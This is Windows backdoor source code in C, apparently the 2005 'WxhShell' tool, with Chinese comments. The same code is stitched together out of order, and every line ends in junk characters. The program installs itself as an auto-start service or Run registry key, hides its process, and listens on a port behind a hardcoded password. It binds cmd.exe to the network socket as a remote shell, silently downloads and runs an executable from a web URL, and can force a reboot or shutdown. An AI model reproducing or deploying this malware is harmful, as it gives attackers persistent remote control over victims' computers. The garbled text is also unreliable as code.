    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9O >z4o  
    if(Boot(SHUTDOWN)) zl)&U=4l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `jW 4H$D  
    else { do' ORcZ  
    closesocket(wsh); x;U|3{I o  
    ExitThread(0); +i)AS0?d  
    } $%He$t  
    break; YBylyVZ  
    } &va*IR  
  // 获取shell YX;nMyD?~  
  case 's': { f)Y  
    CmdShell(wsh); A'g,:8Ou  
    closesocket(wsh); C_-E4I Z)  
    ExitThread(0); gM, &Spn  
    break; QMb^&?;s  
  } "L_-}BK  
  // 退出 "?H+ u/8$  
  case 'x': { Ar`\ N1a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /.ZaE+  
    CloseIt(wsh); M:|/ijp N  
    break; Yw^ Gti'<  
    } ;Q90Y&{L=$  
  // 离开 TcZN %  
  case 'q': { *gSO&O=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r<_2qICgP  
    closesocket(wsh); x u,htx  
    WSACleanup(); csvO g[  
    exit(1);  1ZNNsB  
    break; FNJ!IkuR  
        } ;IhPvff  
  } ewQe/Fq  
  } k`@w(HhS  
sRi%1r7  
  // 提示信息 \^s2W:c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1*c>I@I;  
} |Mlh;  
  } A\g%  
)[ b#g(Y(  
  return; @LC~*_y   
} A;t zRe  
}} #be  
// shell模块句柄 dJE`9$jN  
int CmdShell(SOCKET sock) %yhI;M^  
{ @ RX`>r{_  
STARTUPINFO si; |D(&w+(  
ZeroMemory(&si,sizeof(si)); *[ #*n n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ||fvKyKW>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q 3X  
PROCESS_INFORMATION ProcessInfo; cuMc*i$w!  
char cmdline[]="cmd"; &CO| Y(+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <i7agEdZD  
  return 0; `U#Po_hq  
} WVkG 2  
%^U"Spv;  
// 自身启动模式 "uS7PplyO  
int StartFromService(void) EqQ3=XMUL@  
{ 3.~h6r5-  
typedef struct 9 P~d:'Ib  
{ xH@'H?  
  DWORD ExitStatus; U%,;N\:_  
  DWORD PebBaseAddress; G{O\)gf  
  DWORD AffinityMask; MC6)=0:KX  
  DWORD BasePriority; DUo0w f#D^  
  ULONG UniqueProcessId; z.j4tc9F/5  
  ULONG InheritedFromUniqueProcessId; j88=f#<  
}   PROCESS_BASIC_INFORMATION; 3B -NY Ja  
xfes_v""  
PROCNTQSIP NtQueryInformationProcess; ?"u'#f_  
)O -cw7 >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 26}u4W$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j$0zD:ppW  
g~|y$T  
  HANDLE             hProcess; R9q0,yQW  
  PROCESS_BASIC_INFORMATION pbi; ;x16shH  
!c."   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <L2GUX36#  
  if(NULL == hInst ) return 0; -O /T?H  
n5>B LtY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9PCa*,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q /:T1a7!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >*{:l,LH  
_r[r8M B  
  if (!NtQueryInformationProcess) return 0; sU0Stg8&b  
hw|t8 ShW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cp|:8 [  
  if(!hProcess) return 0; n{z8Ao%  
iA&oLu[y3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qz87iJp&  
+`9yZOaC#  
  CloseHandle(hProcess); 9D%qXU  
' #KA+?@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /!-J53K  
if(hProcess==NULL) return 0; A ^-Z)0 :  
yW{mK  
HMODULE hMod; *b:u * `@  
char procName[255]; e$H|MdYIA  
unsigned long cbNeeded; q _19&;&  
YK7\D:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @OY1`Eu O  
V*>73I  
  CloseHandle(hProcess); xl|ghjn  
$\0TD7p  
if(strstr(procName,"services")) return 1; // 以服务启动 OCwW@OC +  
qT"drgpi3  
  return 0; // 注册表启动 R/ Tj^lM  
} sD2*x T  
:wSJ-\'$  
// 主模块 x<Iy<v7-  
int StartWxhshell(LPSTR lpCmdLine) uvR0TIF4  
{ gj[z ka0_  
  SOCKET wsl; F:M/z#:~  
BOOL val=TRUE; n$IWoIdbGN  
  int port=0; *&h6*zP?  
  struct sockaddr_in door; nrI"k2oA@  
+< GrRYbC  
  if(wscfg.ws_autoins) Install(); }+*w.X}L  
]&' jP  
port=atoi(lpCmdLine); ZMP?'0h=  
3Hy%SN(  
if(port<=0) port=wscfg.ws_port; FLK"|*A  
?ISI[hoc  
  WSADATA data; "k/;`eAP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v*smI7aH  
"IOC[#&G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )nJzSN=>$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o@Scz!"g  
  door.sin_family = AF_INET; U.Pa7tn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D xe-XKNc.  
  door.sin_port = htons(port); -|6V}wHg~  
l&\t f`~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !NIL pimi  
closesocket(wsl); .mC~Ry+t  
return 1; CQj/e+eE4  
} ful]OLV+  
hcd!A 5  
  if(listen(wsl,2) == INVALID_SOCKET) { <zfO1~^  
closesocket(wsl); =VCi8jDkP  
return 1; 7E;>E9 '  
} Dp%5$wF)8  
  Wxhshell(wsl); W]} #\\$z  
  WSACleanup(); +[>y O _}  
jG =(w4+  
return 0; A J<iM)l|  
X77A; US  
} jM6uT'Io  
37J\i ]  
// 以NT服务方式启动 0Ddn@!J*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u4go*#  
{ JqL<$mSep  
DWORD   status = 0; ]lymY _ >  
  DWORD   specificError = 0xfffffff; &uv>'S#%  
:yd=No@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5wT' ,U"+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .@4QkG/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *U( 1iv0n  
  serviceStatus.dwWin32ExitCode     = 0; j7QBU  
  serviceStatus.dwServiceSpecificExitCode = 0; ;%v%K+}r  
  serviceStatus.dwCheckPoint       = 0; 9vB9k@9  
  serviceStatus.dwWaitHint       = 0; m]bL)]Z  
dVasm<lZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '~ jy  
  if (hServiceStatusHandle==0) return; hVQ7'@  
9m%7dsv  
status = GetLastError(); ju8',ZC  
  if (status!=NO_ERROR) & gY;`*<  
{ THrc H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (k7;  
    serviceStatus.dwCheckPoint       = 0; ?y+\v'3v  
    serviceStatus.dwWaitHint       = 0; 9m<wcZ  
    serviceStatus.dwWin32ExitCode     = status; P}ehNt*($  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~r(g|?}P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _bN))9 3  
    return; <1ztj#B  
  } !O 0ZD4/{4  
34"{rMbQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `=_7I?  
  serviceStatus.dwCheckPoint       = 0; 0L3Bo3:k  
  serviceStatus.dwWaitHint       = 0; gubb .EY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =YS!soO  
} Y9z:xE  
,\.YJD>z  
// 处理NT服务事件,比如:启动、停止 >qSO,$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MsN2A6|33  
{ Ws2prh^e(  
switch(fdwControl)  9OrA9r  
{ FE$M[^1_  
case SERVICE_CONTROL_STOP: 9$B)hrJo  
  serviceStatus.dwWin32ExitCode = 0; -~QlHp&SY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H}u)%qY+~  
  serviceStatus.dwCheckPoint   = 0; F?yh23&_4  
  serviceStatus.dwWaitHint     = 0; e["Z!D_H  
  { GE/IaLo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @c.11nfn`  
  } $bF`PGR_  
  return; YHwVj?6W  
case SERVICE_CONTROL_PAUSE: BDv|~NHs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eZa3K3^  
  break; VZ9e~){xA  
case SERVICE_CONTROL_CONTINUE: (E2lv#[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }w|=c >'_}  
  break; AxG?zBTFx  
case SERVICE_CONTROL_INTERROGATE: G#_(7X&  
  break; :epitpJ  
}; e8WPV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +lY\r +;  
} :Su5  
hr/xpQW  
// 标准应用程序主函数 mI _ 6f~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;ph+ZV  
{ +iZ@.LI  
`Z;B^Y0  
// 获取操作系统版本 ,d/CU  
OsIsNt=GetOsVer(); 8EW`*+%=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B=o#LL  
]ly)z[is"]  
  // 从命令行安装 $=;bccIob  
  if(strpbrk(lpCmdLine,"iI")) Install(); "9MX,}X*  
ijR-?nrR  
  // 下载执行文件 ss|6_H =  
if(wscfg.ws_downexe) { VC_3ll]vr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;&7qw69k  
  WinExec(wscfg.ws_filenam,SW_HIDE); .{-iq(3  
} ynOc~TN  
 JsAb q  
if(!OsIsNt) { YQfZiz}Fv  
// 如果时win9x,隐藏进程并且设置为注册表启动 g*"J10hyP  
HideProc(); y$;zTH_6j  
StartWxhshell(lpCmdLine); 3V8j>&  
} 7+A-7ci  
else _S%OX_UMn^  
  if(StartFromService()) \k$]GK-  
  // 以服务方式启动 .PA ?N{z  
  StartServiceCtrlDispatcher(DispatchTable); !'6J;Fb#  
else t&p:vXF2  
  // 普通方式启动 $yR{ZFo  
  StartWxhshell(lpCmdLine); JY;#]'T\;  
X~<>K/}u5  
return 0; 6w .iEb  
} 0X}w[^f  
.n ^O)|Z  
`gA5P %  
R,(+NT$  
=========================================== ;r2b@x:<_  
CM@"lV_  
0lJBtk9wn  
N|^!"/  
5u=U--  
1nX68fS.9  
" r(/P||`l  
:u|UVp5  
#include <stdio.h> *SAcH_I2$>  
#include <string.h> 2-B8>-   
#include <windows.h> J[_?>YJ  
#include <winsock2.h> 4=#QN  
#include <winsvc.h> E!(`275s  
#include <urlmon.h> 'KN!m| z  
_#\5]D~""  
#pragma comment (lib, "Ws2_32.lib") z;@S_0M,Z  
#pragma comment (lib, "urlmon.lib") @?($j)9}  
)Lv6vnT>  
#define MAX_USER   100 // 最大客户端连接数 ~ jrU#<'G9  
#define BUF_SOCK   200 // sock buffer y|2g"J  
#define KEY_BUFF   255 // 输入 buffer iR4,$Nn>  
R.n`R|NOd  
#define REBOOT     0   // 重启 5Dh&ez`oR'  
#define SHUTDOWN   1   // 关机 $(<*pU  
Xb07 l3UG  
#define DEF_PORT   5000 // 监听端口 s$=B~l  
fjeE.  
#define REG_LEN     16   // 注册表键长度 E rRMiT  
#define SVC_LEN     80   // NT服务名长度 a} Iz  
WY ^K7U  
// 从dll定义API &<; nl^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W1M/Z[h6)5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KTS7)2ci  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4 9+}OIX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c+ H)1Dfq  
s t3]Yy  
// wxhshell配置信息 *SpO|*'  
struct WSCFG { :d/:Ga5v!  
  int ws_port;         // 监听端口 <i`K%+<WO  
  char ws_passstr[REG_LEN]; // 口令 #IciNCIrG  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3ks|  
  char ws_regname[REG_LEN]; // 注册表键名 hc~#l#  
  char ws_svcname[REG_LEN]; // 服务名 +\]S<T*;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )7BNzj"~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i\c^h;wX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]`+"o[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { N8rZ[Oo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U S~JLJI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A UO0  
9cHNwgD>v  
}; Y{\2wU!Isn  
Vt 5XC~jK  
// default Wxhshell configuration m:o$|7r  
struct WSCFG wscfg={DEF_PORT, aG&kl O>m  
    "xuhuanlingzhe", Z_TbM^N  
    1, -Z#]_C{Y-)  
    "Wxhshell", Wug?CFX+T  
    "Wxhshell", EC&19  
            "WxhShell Service", 8CHf.SXh  
    "Wrsky Windows CmdShell Service", 'J<zVD}0  
    "Please Input Your Password: ", |@uhq>&  
  1, Hwi7oXP  
  "http://www.wrsky.com/wxhshell.exe", :Y&W)V-  
  "Wxhshell.exe" ?F:C!_  
    }; N/SB}F j  
vmQ DcCw  
// 消息定义模块 Ymh2qGcj]8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E!]rh,mYK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :j!_XMyT:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wz2)seZY  
char *msg_ws_ext="\n\rExit."; {s^n|b}  
char *msg_ws_end="\n\rQuit."; So0,)  
char *msg_ws_boot="\n\rReboot..."; ;jfXU_K  
char *msg_ws_poff="\n\rShutdown..."; oI"Fpo  
char *msg_ws_down="\n\rSave to "; u K&_IE}  
o3`gx  
char *msg_ws_err="\n\rErr!"; 5L'@WB|{4u  
char *msg_ws_ok="\n\rOK!"; (:hmp"S  
K LM^O$=  
char ExeFile[MAX_PATH]; F_ lj>;}a5  
int nUser = 0; U8@*I>vA  
HANDLE handles[MAX_USER]; v6(l#,  
int OsIsNt; gl4 f9Ff  
"MKsSty  
SERVICE_STATUS       serviceStatus; &ppZRdq]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pn){xfqDl  
l<:)rg^,  
// 函数声明 eFI9S.6  
int Install(void); >WG91b<Xq  
int Uninstall(void); kT3;%D^  
int DownloadFile(char *sURL, SOCKET wsh); $+yQ48Wq  
int Boot(int flag); 3xR#,22:}  
void HideProc(void); J};,%q_  
int GetOsVer(void); ;R>42 qYF  
int Wxhshell(SOCKET wsl); |zegnq~  
void TalkWithClient(void *cs); i}12mjF  
int CmdShell(SOCKET sock); rs)aEmvC  
int StartFromService(void); xH .q  
int StartWxhshell(LPSTR lpCmdLine); X| 0`$f  
{.[,ee-)9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v}t :}M<;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "h|0]y^2  
D+nj[8y  
// 数据结构和表定义 @G&xq "Fg7  
SERVICE_TABLE_ENTRY DispatchTable[] = 04LVa|Y@U  
{ :'Kx?Es   
{wscfg.ws_svcname, NTServiceMain}, 15yV4wHr  
{NULL, NULL} F973U  
}; <qZ+U4@I)  
"U~@o4u;  
// 自我安装 JN|#   
int Install(void) C)dYAq3,8  
{ WUQh[A41  
  char svExeFile[MAX_PATH]; Fd=`9N9  
  HKEY key; =Qq^=3@h  
  strcpy(svExeFile,ExeFile); N`:b vr  
`'t;BXedz/  
// 如果是win9x系统,修改注册表设为自启动 Al;oI3  
if(!OsIsNt) { ?v*7!2;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z4tq&^ :c=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q/SC7R&"t  
  RegCloseKey(key); 3S21DC@Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xVo)!83+Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Cr~gd+ q  
  RegCloseKey(key); 8-#2?=  
  return 0; _A~gqOe  
    } E^ti !4{<  
  } \?I wR]@y  
} \X p"I5  
else { {N`<e>A]{  
+=xRr?F  
// 如果是NT以上系统,安装为系统服务 69w"$V k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [wxI X  
if (schSCManager!=0) Oc=PJf%D#  
{ L*Cf&c`8r  
  SC_HANDLE schService = CreateService qf{B  
  ( Z-V%lRQ=b  
  schSCManager, ZX}"  
  wscfg.ws_svcname, )4C6+63OD&  
  wscfg.ws_svcdisp, - C]a2  
  SERVICE_ALL_ACCESS, Tj~#Xc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sm S0Rk  
  SERVICE_AUTO_START, M)RQIl5  
  SERVICE_ERROR_NORMAL, Q2PwO;E.`C  
  svExeFile, NGzqiu"J  
  NULL, {iteC  
  NULL, 1Ac1CsK*  
  NULL, g0$k_  
  NULL, >gl<$LQ?X  
  NULL t9l7 % +y  
  ); VAzJclB  
  if (schService!=0) i`s pM<iR.  
  { SZ){1Hu  
  CloseServiceHandle(schService); =l9#/G#R  
  CloseServiceHandle(schSCManager); CT`X~y10  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 32/P(-  
  strcat(svExeFile,wscfg.ws_svcname); 1#u w^{n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^!tI+F{n{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xz'd5 re%  
  RegCloseKey(key); <5^(l$IBj  
  return 0; !d )i6W?  
    } VG7#6)sQoK  
  } q,Q|Uvpk  
  CloseServiceHandle(schSCManager); h}_q  
} {<n)zLy  
} m @ ?e <$  
Z}f_\d'  
return 1; S!cXc/H-R  
} 1i2O]e!  
p$ <qT^]&  
// 自我卸载 a06q-3zw  
int Uninstall(void) %tLq&tyeY  
{ Jp0.h8i  
  HKEY key; jXR+>=_  
_J!mhU A  
if(!OsIsNt) { (iP,YKG1?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ RYZyw   
  RegDeleteValue(key,wscfg.ws_regname); K@lV P!z  
  RegCloseKey(key); JR)rp3o-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %W+ F e,]  
  RegDeleteValue(key,wscfg.ws_regname); [J Xrj{  
  RegCloseKey(key); 9m!fW|4  
  return 0; B/}>UHM  
  } 55\mQ|.Jn  
} .@V>p6MV  
} B:.rp.1   
else { a QFHB!  
z`SkKn0f Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j&5Xjl>4  
if (schSCManager!=0) :Yqa[._AF  
{ //|Vj | =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hq$ |j,&?  
  if (schService!=0) 2T9Z{v  
  { vS#]RW&j  
  if(DeleteService(schService)!=0) { :P~Owz  
  CloseServiceHandle(schService); U4JN,`p{  
  CloseServiceHandle(schSCManager); ] fB{  
  return 0; GAKJc\o  
  } <rs]@J'p  
  CloseServiceHandle(schService); PMcyQ2R->  
  } !C?z$5g  
  CloseServiceHandle(schSCManager); \9^@,kfP  
} "N_?yA#(j  
} " cg>g/  
<ZEA&:p  
return 1; AtI,& S#{  
} {VG6m Hw  
0b 'R5I.M  
// 从指定url下载文件 t,_[nu(~8%  
int DownloadFile(char *sURL, SOCKET wsh) Viw3 /K  
{ #4>F%_  
  HRESULT hr; XLT<,B}e  
char seps[]= "/"; W!*vO>^1W  
char *token; AbB>ZT>hR  
char *file; +fN0> @s  
char myURL[MAX_PATH]; KMZ`Wn=  
char myFILE[MAX_PATH]; 0sa EcJ-  
v]~[~\|a  
strcpy(myURL,sURL); [qB=OxH?  
  token=strtok(myURL,seps); S8l+WF4q  
  while(token!=NULL) >Mn.|:DF]&  
  { R0[Gfq9M =  
    file=token; ^Tx1y[hw$  
  token=strtok(NULL,seps); Z/x~:u_  
  } bkTj Q  
ojri~erJE?  
GetCurrentDirectory(MAX_PATH,myFILE); >B0S5:S$W  
strcat(myFILE, "\\"); ??PpHB J')  
strcat(myFILE, file); it$~uP |  
  send(wsh,myFILE,strlen(myFILE),0); 65v'/m!ys  
send(wsh,"...",3,0); ^E^:=Q?'_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $ }53f'QjW  
  if(hr==S_OK) al/~  
return 0; 566EMy|  
else -/X-.#}-  
return 1; 2ip~qZNw><  
0/$sr;  
} S%2qB;uw  
UpILr\3U  
// 系统电源模块 Eh+lL tZ  
int Boot(int flag) EZ4qhda  
{ J7ln6Y  
  HANDLE hToken; k>"I!&#g  
  TOKEN_PRIVILEGES tkp; U N/.T   
Ad`IgZ  
  if(OsIsNt) { /_P`xm+=AC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tb^9J7]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \]K-<&f  
    tkp.PrivilegeCount = 1; Zh@\+1]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rk|6!kry  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0W)_5f&  
if(flag==REBOOT) { n !QjptQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DWAU8>c+  
  return 0; @,]v'l!u  
} <IYt*vlm  
else { 4.8,&{w<m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0^=S:~G  
  return 0;  DWI!\lK  
} lk80)sTZ  
  } L<: ya  
  else { dx^3(#B  
if(flag==REBOOT) { yAOC<d9 E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [ LCi,  
  return 0; m<E7cY3mX  
} kHO\#fF<  
else { Nn$$yUkMX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 08Q:1 '  
  return 0; -?uwlpm#  
} 5Ai Yx}  
} IH5thL@D  
B?jF1F!9  
return 1; `fs[C  
} k(MQ:9'|  
&>-Cz%IV  
// win9x进程隐藏模块 q~qig,$Y  
void HideProc(void) $jHL8r\e7  
{ -Je+7#P1  
rP'oU V_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &+\wYa,  
  if ( hKernel != NULL ) ;(XSw%Y H  
  { o}T]f(>}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IAfYlS#<yD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); , Le_PJY)  
    FreeLibrary(hKernel); n}l Z  
  } HBt?cA '  
t/3veDh@  
return; "783F:mPh  
} C oaqi`v4T  
2dC)%]aLme  
// 获取操作系统版本 1yhx)m;f  
int GetOsVer(void) E_++yK^=  
{ A#T;Gi  
  OSVERSIONINFO winfo; og>f1NwS[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bHp|> g  
  GetVersionEx(&winfo); 9DIGK\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #8PjYB  
  return 1; t*COzE  
  else [\VzI\vb  
  return 0; 0xC!d-VIJ  
} dWI\VS9  
.8"o&%$`V  
// 客户端句柄模块 {S|uQgs6j  
int Wxhshell(SOCKET wsl) 2uB.0  
{ `p!.K9r7   
  SOCKET wsh; 4o%hH  
  struct sockaddr_in client; A3Su&0uaB  
  DWORD myID;  9( m^^  
&?~> I[^~  
  while(nUser<MAX_USER) -/h$Yb  
{ , 7}Ri  
  int nSize=sizeof(client); ]|-y[iu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @gZ%>qe  
  if(wsh==INVALID_SOCKET) return 1; Y$(G)Fs  
w'UP#vT5&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7|{QAv  
if(handles[nUser]==0) }\1V;T  
  closesocket(wsh); 4-m}W;igu  
else ddw!FH2W (  
  nUser++; !XK p_v  
  } &oT]ycz%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tvd/Y|bV=  
)&*&ZL0  
  return 0; Jap v<lV%  
} W7.]V)$wM  
aUd6 33  
// 关闭 socket h322^24-2  
void CloseIt(SOCKET wsh) il:+O08_  
{ @.%ll n  
closesocket(wsh); WhkE&7Gk  
nUser--; +jHL==W&  
ExitThread(0); L:~ "Vw6]_  
} M,l Ib9  
NWTsL OIm  
// 客户端请求句柄 #KiRH* giU  
void TalkWithClient(void *cs) wt-)5f'{  
{ U2G\GU1 X  
]Fa VKC~3  
  SOCKET wsh=(SOCKET)cs; HIF.;ImG^  
  char pwd[SVC_LEN]; {~Phc 2z  
  char cmd[KEY_BUFF]; %R}}1  
char chr[1]; u\6:Txqq  
int i,j; v=|ahsYC  
rl!c\  
  while (nUser < MAX_USER) { XrYz[h*)!  
6}[W%S]8  
if(wscfg.ws_passstr) { gPDc6{/C<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;0ake%v]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'GAjx{gM  
  //ZeroMemory(pwd,KEY_BUFF); ,KZ_#9[>  
      i=0; @*F NWT6  
  while(i<SVC_LEN) { `?~pk)<C].  
{AJs pLcG  
  // 设置超时 L> cTI2NB.  
  fd_set FdRead; x H\5T!  
  struct timeval TimeOut; \vKMNk;kz  
  FD_ZERO(&FdRead); =T9QmEBm  
  FD_SET(wsh,&FdRead); $LKniK  
  TimeOut.tv_sec=8; mhh8<BI  
  TimeOut.tv_usec=0; 92XzbbLp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uQrD}%GI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P.LMu  
vX&Nh"0H&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %|4Nmf$:Og  
  pwd=chr[0]; ?FD^S~bz-  
  if(chr[0]==0xd || chr[0]==0xa) { {]`O$S  
  pwd=0; K o,O!T.  
  break; X5=Dc+  
  } {5:y,=Y  
  i++; Qb/qUUQO;0  
    } FhW\23OC  
|]^OX$d  
  // 如果是非法用户,关闭 socket 4h?[NOA"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9=Y-w s  
} EZao\,t  
.#P'NF(5#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *uNa( yd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |R DPx6!V  
W$  M4#  
while(1) { N_Yop  
sFMSH :5z  
  ZeroMemory(cmd,KEY_BUFF); Wcw$ Zv  
/qEoiL###  
      // 自动支持客户端 telnet标准   A@+pvC&  
  j=0; .X TBy/(0  
  while(j<KEY_BUFF) { ?~hC.5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JuS#p5E #  
  cmd[j]=chr[0]; <t&0[l  
  if(chr[0]==0xa || chr[0]==0xd) { )y_MI r  
  cmd[j]=0; Z_Hc":4i  
  break; YrFB~z.V  
  } F:1w%#6av  
  j++; Js ~_8  
    } qf7 lQovK  
wm !Y5  
  // 下载文件 BH0].-)[y!  
  if(strstr(cmd,"http://")) { YR^J7b\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "I}3*s9Q-  
  if(DownloadFile(cmd,wsh)) {+!m]-s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *CMe:a  
  else ~+7q.XL$$K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .9PPWY;H  
  } *6?h,Dt L  
